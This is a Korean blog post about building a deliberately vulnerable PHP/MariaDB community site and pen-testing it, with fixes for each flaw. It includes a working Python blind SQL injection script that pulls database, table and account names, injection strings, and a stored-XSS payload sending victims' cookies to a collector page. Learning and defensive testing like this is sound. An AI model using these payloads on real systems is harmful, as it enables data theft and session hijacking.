layout: post
title: " 🔐 모의해킹 사이트 구축 & 웹 침투 테스트"
date: 2021-09-04 15:54:50 +0700
categories: "모의해킹"
tags: [ PHP, Mariadb, XSS, CSRF, Web Shell. Directory Listing, Blind SQL Injection]
description: 모의해킹 사이트를 통해 "
image:
목차
- 개요
사이트 목적 - 환경 구축
- 웹 서비스 시작
- 취약점 점검
4.1 Blind SQL Injection
4.2 XSS
4.3 CSRF
4.4 Web Shell
4.5 Directory Listing - 프로젝트 결과
- 참고자료
개요
CIA 프로젝트
프로젝트의 이름인 CIA는 보안의 3요소 (기밀성, 무결성, 가용성
) 에서 가져왔다.
CIA 프로젝트는 LAMP를 기반으로 웹 모의해킹 진단을 위하여 가상의 커뮤니티 사이트 구축
하여, 모의 침투 테스트를 통해 취약점
를 진단합니다.
사이트 목적
웹 사이트를 직접 개발
하여 취약한 코드
를 더 자세히 알 수 있으며,
웹 개발에 취약점이 어디서 어떤 방식으로 취약점이 발생하는지 세밀하게 관찰하며, 관찰한 내용을 토대로 점검
할 수 있습니다.
환경 구축
LAMP
/ Centos7
Apache/2.4.6
5.5.68-MariaDB
PHP 5.4.16
L: Linux (이번 wordpress는 CentOS 7에서 진행합니다.)
A: Apache 웹 서버
M: MySQL 또는 MariaDB
P: PHP
웹 서비스 시작
Blind SQL Injection
- 쿼리의 결과를
참과 거짓
으로만 출력하는 페이지에서 사용하는 공격이다. - 출력 내용이 참 / 거짓 밖에 없어서 그것을 이용하여 데이터베이스의 내용을 추측하여
쿼리를 조작
한다.
저는 Blind SQL Injection 중에서 [2]Bollean Based
를 이용하여 게시판에서 공격해보도록 하겠습니다.
$ select * from board where title like '%2 'or 1=1#%' order by idx desc
$ 2 'or 1=1#
Boolean Based Sql - 취약점 확인
전 위의 주석 및 취약점 확인 방식을 이용하여 쿼리 공격
구문이 항상 참이 되게 하여 공격이 먹히는지 확인해보도록 하겠습니다.
________________________________________________
쿼리 공격구문이 성공하여 항상 참
이 되는 결과값
을 볼 수 있었습니다.
그래서 저는 아래 방식으로 데이터베이스 이름
, 테이블 이름
, 테이블의 컬럼
등등를 가져왔습니다.
import requests
from bs4 import BeautifulSoup
import string
comparison = string.ascii_lowercase
db_name =" DB 이름 : "
table_name =" Table 이름 : "
Column_name ="Column 이름 : "
Member_name ="Member 이름 : "
for b in range(1, 4): # DB 이름 : 1' and substring(database(),{b},1)='{i}'%23
for i in comparison:
url = f"http://192.168.35.237/page/board/search_result.php?catgo=title&search=1' and substring(database(),{b},1)='{i}'%23"
response = requests.get(url)
response_text = response.text
soup = BeautifulSoup(response_text, 'html.parser')
title = soup.select_one('#board_area > table > tbody > tr > td:nth-child(2) > a > span:nth-child(1)')
if title != None:
db_name += i
else :
pass
for a in range(1, 6): # Table 이름 : 1' and substring((select table_name from information_schema.tables where table_type='base table' and table_schema='CIA' limit 0,1),{a},1) = '{b}'%23
for b in comparison:
url = f"http://192.168.35.237/page/board/search_result.php?catgo=title&search=1' and substring((select table_name from information_schema.tables where table_type='base table' and table_schema='CIA' limit 0,1),{a},1) = '{b}'%23"
response = requests.get(url)
response_text = response.text
soup = BeautifulSoup(response_text, 'html.parser')
title = soup.select_one('#board_area > table > tbody > tr > td:nth-child(2) > a > span:nth-child(1)')
if title != None:
table_name += b
else :
pass
for a in range(1, 3):
for b in comparison: # Column 이름 : 1' and substring((select column_name from information_schema.columns where table_name='member' limit 1,1),{a},1) = '{b}'%23
url = f"http://192.168.35.237/page/board/search_result.php?catgo=title&search=1' and substring((select column_name from information_schema.columns where table_name='member' limit 1,1),{a},1) = '{b}'%23"
response = requests.get(url)
response_text = response.text
soup = BeautifulSoup(response_text, 'html.parser')
title = soup.select_one('#board_area > table > tbody > tr > td:nth-child(2) > a > span:nth-child(1)')
if title != None:
Column_name += b
else :
pass
for a in range(1, 6):
for b in comparison: # Member 이름 : ' and substring((select id from member limit 1,1),{a},1)='{b}'%23"
url = f"http://192.168.35.237/page/board/search_result.php?catgo=title&search=1' and substring((select id from member limit 1,1),{a},1)='{b}'%23"
response = requests.get(url)
response_text = response.text
soup = BeautifulSoup(response_text, 'html.parser')
title = soup.select_one('#board_area > table > tbody > tr > td:nth-child(2) > a > span:nth-child(1)')
if title != None:
Member_name += b
else :
pass
print(db_name)
print(table_name)
print(Column_name)
print(Member_name)
Fig 7. 쿼리 공격 스크립트 (1/3)
저는 시간을 단축하기 위해 위의 7~9번 사진처럼 공격 스크립트 파이썬
을 이용하여 작성 후 공격하여 원하는 결과값
을 얻을 수 있엇습니다.
##
대응 방안
현재 공격이 가능한 부분은 게시판 검색이 가능한 부분 및 SQL 공격 구문이
가능한 부분입니다.
게시판에서 검색을 할때 입력값의 유효성 검사
를 안해서 Bollean Based 공격
이 되고 있습니다.
이를 보안하기 위해서는 DBMS 종류에 따라 쿼리의 구조
를 변경
시키거나, 쿼리문의 일부로 사용되는 문자를 공백
등으로 치환
하는 방식으로 방어를 하면 됩니다.
(특수문자:', =, #, -- / 공격 구문에 사용된 database, select 등등
)
[XSS] Cross Site Scripting
- 사이트를
교차
해서 스크립트를 발생시킴. - 게시판을 포함한 웹에서
자바스크립트
같은 스크립트 언어를 삽입해 개발자가 의도하지 않은 기능을 작동시키는것. 클라이언트측
을 대상으로 한 공격
전 여기서 Stored XSS
(웹 사이트 게시판
에 스크립트를 삽입
하는 공격 방식)를 이용해보도록 하겠습니다.
$ <script>alert("내용 ")</script>
XSS 공격 코드 (1/2)
Javascript를 이용한 XSS 취약점 확인 후, XSS 공격으로 `쿠키값 탈취` 진행
<script>window.open("http://192.168.35.237/xss/cookie.php?data="+document.cookie)</script>
XSS 공격 코드 (2/2)
게시글을 읽는 사람은 해커
의 웹 서버에 cookie.php
를 읽고 쿠키값이 탈취
되며, 사진 창이 띄어지도록 하였고, fopen
을 통하여 해커 data.txt
에 시간, 쿠키값을 저장
하도록 하였습니다.
대응 방안
현재 공격이 가능한 부분은 게시판에서 글을 쓸때, 댓글을 쓸때
XSS공격이 가능합니다.
XSS 공격이 가능함에 따라 Stored XSS를 이용하여 사용자의 쿠키값이 노출
되고 있습니다.
이러한 상황을 방어하기 위해서는 유효성 검사
를 통해 <script 태그, 태그 문자(<,>,",')를 이스케이핑
한다.
(태그문자 : <(<), >(>), "("), '(&apos), &(&) 등등
)
[CSRF] Cross Site Request Forgery
- XSS와
동일한 원리
로 게시판, 이메일 등 컨텐츠에악성 스크립트
또는 HTML 태그 삽입 - 사용자 측 브라우저에서
삽입된 스크립트
또는 HTML 태그가 실행됨 - 공격자가 의도한 행위(CRUD)가 있는 위조된 HTTP 요청이
강제로 수행
됨
이번에도 게시판
을 통해 CSRF
공격이 가능한지 확인해보겠습니다.
정상적인 게시글을 작성 후 [5]fiddler
로 글쓰기가 어떠한 방식으로 작성이 되었는지
[6]스니핑
한 후 탈취한 파라미터와 변수
를 위에 CSRF 공격 코드처럼 양식을 맞추어 작성 후 게시글을 등록합니다. 그다음 다른 계정으로 작성한 게시글(CSRF를 코드가 주입된 게시글)를 읽으면 사이트 간 요청 위조
를 하였기 때문에 내가 작성한 글이 아님에도 해커에 의해서 의도치 않은
글을 작성하게 됩니다. (* input type="file"은 hidden이 안먹히므로 style에 따로 display:none;를 이용하여 스타일링 해주었습니다.)
대응 방안
현재 공격이 가능한 부분은 XSS와 동일하게 게시판에서 글을 쓸때, 댓글을 쓸때 CSRF공격이 가능합니다.
CSRF 공격이 가능함에 따라 해커
에 의해서 의도치 않은 글
을 작성
하게 되었습니다.
이러한 상황을 방어하기 위해서는 XSS와 동일하게 유효성 검사
<script태그, 태그 문자(<,>,",')를 이스케이핑
합니다.
"태그문자 : <(<), >(>), "("), '(&apos), &(&) 등등"
추가적으로 백엔드 부분에서 Request
의 Referer
를 확인하여 Domain(192.168.35.237)가 일치하는지 검증합니다.
Web Shell
- 웹쉘은 말 그대로 웹사이트를 통해
쉘(shell)을 여는 공격
입니다. - 원격에서 웹서버에
명령을 수행
할 수 있도록 작성한 웹 스크립트 (ASP, JSP, PHP, CGI 파일 등) 형태를 가짐 - 웹 서버의 다양한 취약점 (
서버 취약점, 웹 어플리케이션 취약점
) 등을 타깃으로 공격하여 웹 서버에 웹쉘을 업로드한 후
일반적인 웹 브라우저 (80 Port)를 통하여 업로드한 웹쉘을 실행하여 침투한 서버상의정보 유출 및 변조, 악성코드 유포
등의 불법 행위를 행하는 형태가 많음
이번에도 게시판
을 통해 Web Shell
공격이 가능한지 확인해보겠습니다.
현재 파일 업로드
를 통해 Web Shell
이 이루어지고 있다.
정상적인 파일업로드라면 이미지 확장
(png, jpg, bmp등)만 이루어지게 되어 있거나, 블랙리스트 기반 파일 확장자
(php, asp, jsp)는 필터링
이 되어있다.
전 여기서 공격을 하기 위해 피들러를 이용하여 요청
(Request) 변조하여 Content-type를 우회
해서
Content-Type:application/x-php가 아닌 Content-Type:image/jpeg
로 속여 업로드를 한 후 미리 작성해둔 Web Shell 공격코드를 통해 (etc/passwd)등의 시스템 파일
등등 접근 시도
가 가능합니다.
대응 방안
현재 공격이 가능한 부분은 글을 쓸때 업로드 부분에서 웹쉘 공격이 가능합니다.
웹쉘 공격이 가능함에 따라 시스템 파일에 접근
이 가능하였습니다.
현재 서버측에서 이미지 검사
를 하지만 콘텐트타입
만 검사하고, 파일명 및 파일내용등 정확한 검증
을 하지 않아 발생한 취약점 입니다.
이러한 경우를 보안 하기 위해서는 파일내용(http body 내용), 파일명
등 정확한 검증을 하여야 합니다.
추가적으로 이미지 파일에 존재
하는 php code
가 실행되지 않도록 설정하고, php에서 지원하는 함수
기능을 허용하지 않는 옵션에 (disable_functions = system, exec, shell_exec)
를 적어주도록 합니다.
그리고 php 에서 원격지
에 있는 파일을 읽어
오지 못하도록 allow_url_fopen = Off 설정을 해줍니다.
Directory Listing
- 디렉토리 리스팅이란 웹서버를
디렉토리
로접속
할 때, 해당 디렉토리내의파일과 디렉토리
를리스트
로 보여주는 기능을 말합니다. - 디렉터리 리스팅 취약점은
브라우징 하는 모든 파일
을 보여준다.html 페이지의 소스보기를 할 수 있을때, 이미지 및 파일의 경로가 적혀있는 부분이 있다. 여기서 URL 부분에 파일명을 지우고 입력하면 다음과 같이 파일리스트를 볼 수 있습니다.
- 원래의 목적은 문서의 공유로 파일 탐색기처럼
원하는 문서
로 바로 찾아갈 수 있게 하는 용도였지만 최근에는 문서의 저장 및 열람이 가능하다면 문서의취약점(백업파일 및 소스코드, 스크립트 파일의 유출로 인한 계정 정보 유출 등등)
을 이용해악의적인 목적
을 갖고 있는 사람들에게탈취 및 웹서버 공격
이 이루어진다.
대응 방안
현재 공격이 가능한 부분은 메인부분을 제외한 URL 부분에 파일명을 지우고 접속시 디렉터리로 들어가지는 부분에서 취약점이 발생됩니다.
이러한 취약점이 발생되면 모든 파일명이 노출
이 되므로 위험한 취약점 입니다.
해당 취약점을 보안하기 위해서는 아파치 웹 서버에 /etc/httpd/conf/httpd.conf
파일에 내용중 Options Indexes FollowSymLinks -> Options FollowSymLinks
로 내용을 수정하여 저장하면 됩니다.
그러면 접속시 403 혹은 404에러 메시지가 나오는데 403은 파일 목록
, 404는 존재하지 않는 페이지
로 나오는데 이것도 취약점이 될 수 있어 httpd.conf에서 추가적으로 ErrorDocument 403 /index.php, ErrorDocument 404 /index.php
메인페이지로 이동하게 하여 보안을 하면 됩니다.
프로젝트 결과
오랜만에 다시 lamp로 웹 구축을 하니 코딩공부에 도움도 되었고 CSS를 직접골라 입혀보니 재미
있었다. 그리고 구축한 홈페이지를 직접 취약점도 점검해보니 역시 보안도 중요
하다는것을 많이 느꼈고 사소하고 쉬운
웹해킹 방법이었지만 OWASP TOP 10에
매년 나오는 만큼 해당 취약점
들이 위험
하다는것도 실감
하였다.
다음에는 위와 같은 취약점 점검
및 보안
을 할때 기초 부분은 도움이 많이 될 것 같다.
Notes
[1] Blind SQL 인젝션의 쿼리문에 사용하는 함수는 substring,ascii,limit 등이 있다.
substring함수는 첫 번째 인자로 받은 문자열을 지정한 길이만큼 출력하는데, 주로 문자 하나씩 출력 하여 이름을 알아내는데에 사용한다.
ascii함수는 문자를 아스키코드로 변환하는데, 작은따옴표(')를 우회하는 변수일 때 문자를 입력하기 위하여 사용한다.
limit 함수는 문자열의 길이를 반환한다. 문장열의 길이를 알아내면 substring 함수로 문자열을 추측하기 쉬워진다. 세 함수를 통해 임의의 값을 입력하며 데이터베이스 내용을 알아낼 때까지 계속 비교한다.
[2] 참과 거짓만 출력하는 페이지에 공격자가 조작한 쿼리로 인해 데이터베이스 내용을 노출하는 취약점이다. 쿼리는 데이터베이스 내용이 일치하여 웹 페이지에서 참을 출력시킬 때까지 임의의 값을 대입한다.
[3] 웹 브라우저에서 사용자가 입력 할수 있는 input태그 등에 악의적인 script를 작성하여 해당 contents를 이용하는 다른 이용자의 개인정보 및 쿠키정보 탈취, 악성코드 감염, 웹 페이지 변조등의 공격을 한다.
[4] 정의만 보면 앞서 알아봤던 XSS와 SQL injection과 비슷하다.
XSS가 사용자가 특정 사이트를 신뢰한다는 점을 공격하는거라면, CSRF는 특정 사이트가 사용자의 브라우저를 신뢰한다는 점을 공격하는 것이 다르다.
간단하게 정리하자면, 악성코드가 XSS: 클라이언트에서 발생 / CSRF: 서버에서 발생이라고 할 수 있다.
[5] Fiddler 는 컴퓨터와 웹 서버 또는 서버 간의 HTTP 및 HTTPS 트래픽 을 기록, 검사 및 변경하는 데 사용되는 디버깅 프록시 서버 도구 입니다.
[6] Sniffing의 사전적 의미는 코를 킁킁거리다, 냄새를 맡다 등의 뜻이 존재한다.
자신이 아닌상대방들의 패킷이 통신망에 돌아다니는 데이터를 몰래 도청하는 행위이다. 정보자산의 기밀성을 저해한다.
[7]※쉘(shell) : 사용자에게 받은 지시를 해석하여 하드웨어 지시어로 바꿈으로써 운영체제의 커널과 사용자 사이를 이어주는 것
참고자료
https://lucete1230-cyberpolice.tistory.com/94
https://velog.io/@codren/%EC%9B%B9-%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%8B%A4%EC%8A%B5-2-CSRF
https://websecurity.tistory.com/125
https://github.com/Veloideu/CIA_WEBSITE (웹 소스코드는 제 깃헙에 올려두었습니다.)
'🌍WEB' 카테고리의 다른 글
SPA(Angular, React, Vue) 진단 시 참고 (0) | 2023.01.10 |
---|---|
SQL Injection 정리 / 상시 업데이트 (0) | 2022.10.18 |
[공부] Xpath Injection (2) | 2022.09.20 |
[JWT] Json Web Token 취약점 (0) | 2022.09.19 |
🔆Naver Weather API [PHP]제작 (0) | 2020.09.21 |